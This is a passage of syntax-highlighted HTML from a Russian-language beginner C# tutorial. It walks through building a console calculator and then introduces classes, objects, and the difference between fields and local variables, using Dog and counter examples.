class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">else</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестная операция!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// выходим из Main</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"шаг-3-выносим-операции-в-методы\">Шаг 3: Выносим операции в методы</h3>\n<p>Вместо того чтобы всё писать в <code>Main</code>, создадим отдельные методы:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите операцию (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Calculate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"p\">{</span>\n<span class=\"w\">                    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: деление на ноль!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"p\">}</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестная операция!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Теперь <code>Main</code> чистый — он только читает ввод и выводит результат. Логика вычислений — в <code>Calculate</code>.</p>\n<h3 id=\"шаг-4-добавляем-цикл-не-выходить-после-первого-примера\">Шаг 4: Добавляем цикл — не выходить после первого примера</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">running</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">true</span><span class=\"p\">;</span>\n\n<span class=\"w\">        </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">running</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите первое число (или &#39;выход&#39;): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;выход&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">running</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">false</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">continue</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// возвращаемся в начало цикла, там проверится running = false</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">);</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите операцию (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">            </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// пустая строка для красоты</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;До свидания!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Calculate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"p\">{</span>\n<span class=\"w\">                    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: деление на ноль!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"p\">}</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестная операция!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Это полноценный рабочий калькулятор. Теперь усложним его, переписав на классах.</p>\n<hr />\n<h2 id=\"7-классы-и-объекты\">7. Классы и объекты</h2>\n<p>Вот здесь начинается ООП (объектно-ориентированное программирование).</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Класс — это <strong>чертёж</strong> дома. Объект — это <strong>конкретный дом</strong>, построенный по этому чертежу. По одному чертежу можно построить сто одинаковых домов — это будут сто разных объектов одного класса.</p>\n</blockquote>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Это класс — чертёж</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Dog</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// поле — данные</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Age</span><span class=\"p\">;</span><span class=\"w\">      </span><span class=\"c1\">// поле — данные</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Bark</span><span class=\"p\">()</span><span class=\"w\">   </span><span class=\"c1\">// метод — действие</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; говорит: Гав!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Создаём объекты (экземпляры) класса</span>\n<span class=\"n\">Dog</span><span class=\"w\"> </span><span class=\"n\">dog1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">();</span>\n<span class=\"n\">dog1</span><span class=\"p\">.</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Бобик&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">dog1</span><span class=\"p\">.</span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span>\n\n<span class=\"n\">Dog</span><span class=\"w\"> </span><span class=\"n\">dog2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">();</span>\n<span class=\"n\">dog2</span><span class=\"p\">.</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Шарик&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">dog2</span><span class=\"p\">.</span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span>\n\n<span class=\"n\">dog1</span><span class=\"p\">.</span><span class=\"n\">Bark</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Бобик говорит: Гав!</span>\n<span class=\"n\">dog2</span><span class=\"p\">.</span><span class=\"n\">Bark</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Шарик говорит: Гав!</span>\n</code></pre></div>\n\n<p><code>new Dog()</code> — создаёт <strong>новый объект</strong> типа <code>Dog</code>. Каждый объект живёт в своей части памяти и хранит свои данные.</p>\n<hr />\n<h2 id=\"8-поля-vs-локальные-переменные\">8. Поля vs локальные переменные</h2>\n<p><strong>Это одна из самых важных вещей для понимания.</strong></p>\n<h3 id=\"локальная-переменная-живёт-внутри-метода\">Локальная переменная — живёт внутри метода</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">SomeMethod</span><span class=\"p\">()</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// локальная переменная</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">);</span>\n<span class=\"p\">}</span><span class=\"w\"> </span><span class=\"c1\">// &lt;-- здесь x уничтожается. Её больше не существует.</span>\n\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">AnotherMethod</span><span class=\"p\">()</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Console.WriteLine(x); // ОШИБКА! x здесь не существует</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Локальная переменная:</p>\n<ul>\n<li>Создаётся когда выполнение входит в метод/блок</li>\n<li>Уничтожается когда выполнение выходит из метода/блока</li>\n<li><strong>Недоступна из других методов</strong></li>\n</ul>\n<h3 id=\"поле-живёт-внутри-объекта-или-класса\">Поле — живёт внутри объекта (или класса)</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Counter</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Это поле — живёт в объекте, пока жив объект</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Increment</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">count</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// изменяем поле</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">PrintCount</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Счётчик: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// читаем поле</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Counter</span><span class=\"w\"> </span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Counter</span><span class=\"p\">();</span>\n<span class=\"n\">c</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span>\n<span class=\"n\">c</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span>\n<span class=\"n\">c</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span>\n<span class=\"n\">c</span><span class=\"p\">.</span><span class=\"n\">PrintCount</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Счётчик: 3</span>\n</code></pre></div>\n\n<p>Поле <code>count</code> помнит своё значение между вызовами методов, потому что оно <strong>живёт в объекте</strong>, а не внутри метода.</p>\n<h3 id=\"наглядный-пример-разницы\">Наглядный пример разницы</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">WrongCounter</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Increment</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ЛОКАЛЬНАЯ переменная!</span>\n<span class=\"w\">        </span><span class=\"n\">count</span><span class=\"o\">++</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">count</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">WrongCounter</span><span class=\"w\"> </span><span class=\"n\">wc</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">WrongCounter</span><span class=\"p\">();</span>\n<span class=\"n\">wc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 1</span>\n<span class=\"n\">wc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 1 (опять!)</span>\n<span class=\"n\">wc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 1 (всегда будет 1!)</span>\n</code></pre></div>\n\n<p>Почему? Потому что каждый раз при вызове <code>Increment()</code> создаётся <strong>новая</strong> переменная <code>count</code> со значением 0, увеличивается до 1, и уничтожается.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">RightCounter</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">count</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ПОЛЕ — живёт в объекте</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Increment</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">count</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// изменяем поле объекта</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">count</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">RightCounter</span><span class=\"w\"> </span><span class=\"n\">rc</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">RightCounter</span><span class=\"p\">();</span>\n<span class=\"n\">rc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 1</span>\n<span class=\"n\">rc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 2</span>\n<span class=\"n\">rc</span><span class=\"p\">.</span><span class=\"n\">Increment</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает 3</span>\n</code></pre></div>\n\n<blockquote>\n<p><strong>Правило большого пальца:</strong></p>\n<ul>\n<li>Нужно хранить данные между вызовами? → <strong>Поле</strong></li>\n<li>Нужна переменная только на время выполнения метода? → <strong>Локальная переменная</strong></li>\n</ul>\n<p>✏️ <strong>Попробуй:</strong> Скопируй класс <code>WrongCounter</code> и запусти — убедись что он всегда печатает 1. Потом скопируй <code>RightCounter</code> — убедись что он считает 1, 2, 3. Почувствуй разницу руками.</p>\n</blockquote>\n<h3 id=\"static-поля-принадлежат-классу-а-не-объекту\">static поля — принадлежат классу, а не объекту</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Dog</span>\n<span 